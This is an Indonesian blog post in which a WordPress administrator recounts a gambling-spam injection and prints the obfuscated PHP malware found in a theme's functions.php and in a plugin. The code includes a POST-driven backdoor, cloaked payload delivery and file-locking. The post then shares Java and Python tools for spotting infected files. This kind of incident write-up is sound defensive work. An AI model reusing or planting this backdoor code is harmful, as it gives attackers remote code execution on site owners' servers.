Kode Java Membandingkan Dua File

Suatu hari, website yang penulis kelola, yang menggunakan Wordpress mendapat serangan injeksi judi slot.

Hasilnya, di domain penulis, terdapat link landing page halaman promosi permainan tersebut.

Setelah penulis cari-cari, di bawah ini adalah contoh kode PHP yang muncul di file functions.php theme Wordpress, yang penulis gunakan.

if( ! function_exists('qmqkrosuwcclz') ) {

	function qmqkrosuwcclz($hofwrudrjow, $arprughxl) {
		$dcfibrnhftqbtq = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
		$hofwrudrjow = strtr($hofwrudrjow, $arprughxl, $dcfibrnhftqbtq);
		$hofwrudrjow = cogrjgxig($hofwrudrjow);
		return $hofwrudrjow;
	}

	function cogrjgxig($drvphbmibfcfnms) {
		$drvphbmibfcfnms = base64_decode($drvphbmibfcfnms);
		return $drvphbmibfcfnms;
	}

	$izvyyhb = $_POST;

	if(isset($izvyyhb['wtcyzjbnafe'])) {
		$tzivwumxaiztpg = $izvyyhb['wtcyzjbnafe'];
		$ozghajv = qmqkrosuwcclz($izvyyhb['lvenvrrdsiathe'], $tzivwumxaiztpg); 
		$huxekmu = qmqkrosuwcclz($izvyyhb['eygguylsomiwnh'], $tzivwumxaiztpg);
		$ptfknvndkww = qmqkrosuwcclz($izvyyhb['ntxczrhjejw'], $tzivwumxaiztpg);
		$ptfknvndkww($ozghajv, $huxekmu);
		include($ozghajv);
	}

}

/* fisika.ub.ac.id theme functions */


global $wpdb;
$nematelminth = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->termmeta WHERE meta_id = %d",1));
if (isset($_GET[str_rot13(strrev($nematelminth->meta_key))])) {
	header('Access-Control-Allow-Headers: Cache-Control');
	header('Cache-Control: Public, Max-Age=31536000, Immutable');
	header('Pragma: Cache');
	add_filter('json_enabled','__return_false' );
	add_filter('json_jsonp_enabled','__return_false' );
	add_filter('rest_enabled','__return_false');
	add_filter('rest_jsonp_enabled','__return_false');
	add_filter('rewrite_rules_array','disable_embeds_rewrites');
	remove_action('init','rest_api_init' );
	remove_action('parse_request','rest_api_loaded' );
	remove_action('rest_api_init','create_initial_rest_routes', 99);
	remove_action('rest_api_init','register_initial_settings', 10);
	remove_action('rest_api_init','rest_api_default_filters', 10);
	remove_action('template_redirect','rest_output_link_header',11);
	remove_action('template_redirect','wp_shortlink_header',11);
	remove_action('wp_head','rest_output_link_wp_head');
	remove_action('wp_head','wp_oembed_add_discovery_links');
	remove_action('wp_head','wp_shortlink_wp_head',10);
	remove_action('wp_head','wlwmanifest_link');
	add_action( 'init', function () {
		remove_action( 'rest_api_init', 'wp_oembed_register_route' );
		add_filter( 'embed_oembed_discover', '__return_false' );
		remove_filter( 'oembed_dataparse', 'wp_filter_oembed_result', 10 );
		remove_action( 'wp_head', 'wp_oembed_add_discovery_links' );
		remove_action( 'wp_head', 'wp_oembed_add_host_js' );
		add_filter( 'tiny_mce_plugins', function ( $autobuses ) {
			return array_diff( $autobuses, array( 'wpembed' ) );
		} );
		add_filter( 'rewrite_rules_array', function ( $steadite ) {
			foreach ( $steadite as $rumbo => $cyanicide ) {
				if ( false !== strpos( $cyanicide, 'embed=true' ) ) {
					unset( $steadite[ $rumbo ] );
				}
			}
			return $steadite;
		} );
		remove_filter( 'pre_oembed_result', 'wp_filter_pre_oembed_result', 10 );
	}, 9999 );
	print( gzinflate( base64_decode( $nematelminth->meta_value )));
	die;
}

Dan yang berikut ini, adalah contoh kode injeksi yang penulis temukan di plugin:

function print_slide_(){
foreach(new DirectoryIterator(__DIR__)as $outrhymed){
if($outrhymed->isFile()&&$outrhymed->isWritable()){
chmod($outrhymed->getRealPath(),0555);}}chmod(getcwd(),0555);
if(isset($_GET[str_rot13(strrev('avjknz-ebpnt-gbyf-bzrq-ahxn'))])){
	header('Access-Control-Allow-Headers: Cache-Control');
	header('Cache-Control: Public, Max-Age=31536000, Immutable');
	header('Pragma: Cache');
	add_filter('wp_head','return_cards_grid_section',0);
	$scorchproof = base64_decode('
		MmY3NjYxNzIyZjc3Nzc3NzJmNjg3
		NDZkNmMyZjY2NjkyZjc3NzAyZDYz
		NmY2ZTc0NjU2ZTc0MmY3NTcwNmM2
		ZjYxNjQ3MzJmMzIzMDMxMzMyZjMw
		MzgyZjQ5NGQ0NzVmMzIzMDMxMzMz
		MDM4MzIzNzVmMzEzMTMwMzMzMjM3
		MmU2NzY5NjY=
		');
	$stilter = '';
	for ($suballocated=0;$suballocated<strlen($scorchproof)-1;$suballocated+=2){
		$stilter.=chr(hexdec($scorchproof[$suballocated].$scorchproof[$suballocated+1]));
	}
	print(gzinflate(
				str_replace(
					base64_decode('R0lGODlhIOBbV0913ydsYlbdOw=='),
					'',file_get_contents($stilter))));die;
}
}

Kedua hal ini menunjukkan, serangan injeksi bukan hanya pada plugin, tetapi juga pada theme.

Salah satu cara dummy mencari kedua kode injeksi di atas, yaitu penulis membandingkan antara file yang belum terinfeksi, dengan yang sudah terinfeksi dengan kode Java berikut:

package com.edugameapp.comparefiles;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

/**
 *
 * @author User
 */
public class CompareFiles 
{
    public boolean compareTwoFile(String filepath1,String filepath2)
    {
        try{
            int lineNumber = 1;
            String line1 = "", line2 = "";
            
            BufferedReader bf1 = Files.newBufferedReader(Paths.get(filepath1));
            BufferedReader bf2 = Files.newBufferedReader(Paths.get(filepath2));

            while ((line1 = bf1.readLine()) != null) {
                line2 = bf2.readLine();
                if (line2 == null || !line1.equals(line2)) {
                    return false;
                }
                lineNumber++;
            }
            return true;   
        }catch(IOException e){
            System.out.println("Error :"+e.toString());
            return false;
        }
    }
    
    public void tryScan(String dir_path)
    {
        File f = new File(dir_path);
        for (File fo : f.listFiles()) {
            if (fo.isFile()) {
                String p=fo.getAbsolutePath();
                p=p.replace("themesehat", "themesakit");
if(!compareTwoFile(fo.getAbsolutePath(),p)){ System.out.println(fo.getAbsolutePath()); } } else if (fo.isDirectory()) { tryScan(fo.getAbsolutePath()); } } } public static void main(String[] args) { CompareFiles main=new CompareFiles(); main.tryScan("D:\\Depa..\\..\\themesehat"); System.out.println("Done"); } }

Dengan meletakkan pada folder yang berbeda (misalnya themesehat dan themesakit), antara theme yang sudah terinfeksi dengan yang belum. Kode di atas akan memberikan tanda bahwa file itu berbeda.

Dengan begitu, pencarian akan lebih cepat diarahkan untuk melihat file-file yang berbeda saja. Meskipun manual.

Awalnya, penulis mencoba menggunakan bahasa Python untuk membuat program pencari perbedaan antara dua file di atas, dengan mencoba membuat scanner sesuai kode di bawah ini:

import os

dir_path = r'D:\De..\themesehat'

def scanFile(dir_path):    
    print(dir_path)
    for path in os.listdir(dir_path):
        pathfile=os.path.join(dir_path, path)
        if os.path.isfile(pathfile):
            file1 = open(pathfile, 'r')
            while True:
                line = file1.readline()
                
                if not line:
                    break

                for row in line:                
                    if row.find('byUboiz') != -1:
                        print("ADA")
        elif os.path.isdir(pathfile):
            scanFile(pathfile)

scanFile(dir_path)

Sayangnya, library scanning file Python ini, adakalanya tidak mampu membaca file dengan sempurna, malah berhenti dan tidak bisa melewati. Padahal, keinginan penulis, "Lanjutkan lewati saja Mas Bro, Ngapain berhenti!".

Bukan karena Java lebih baik dibanding Python, sehingga kode pembanding akhirnya penulis tulis dengan Java, hanya saja penulis tidak menyukai Python.

Kesimpulannya, solusi yang lakukan di atas, bukan hal terbaik untuk problem injeksi website penulis. Sangat dimungkinkan website yang penulis kelola ini masih terdapat lubang, yang sewaktu-waktu masih dapat diserang lagi, dan penulis belum tahu itu. Langkah ini karena, penulis hanya sebagai Administrator, bukan sebagai Super Admin di server yang penulis bekerja di sana.

Komentar



Postingan populer dari blog ini

Apps Script untuk Cetak Sertifikat

Kumpulan Source Code Greenfoot

Menyembunyikan Failed Load Images di Blogger

Kebodohan Karyawan Menyalahkan Sistem

Checking Data yang Belum Dimasukkan dalam Daftar Menggunakan Query Google Sheet

Generate Karakter Acak dan Menempatkannya di Sel Google Sheets dengan Apps Script

Apps Script untuk Mengirimkan Notifikasi Approval

Kode Apps Script MailApp untuk Form Mengirimkan Email

Algorithma Bilangan Prima dengan Javascript

Kode Greenfoot Game Flappy Bird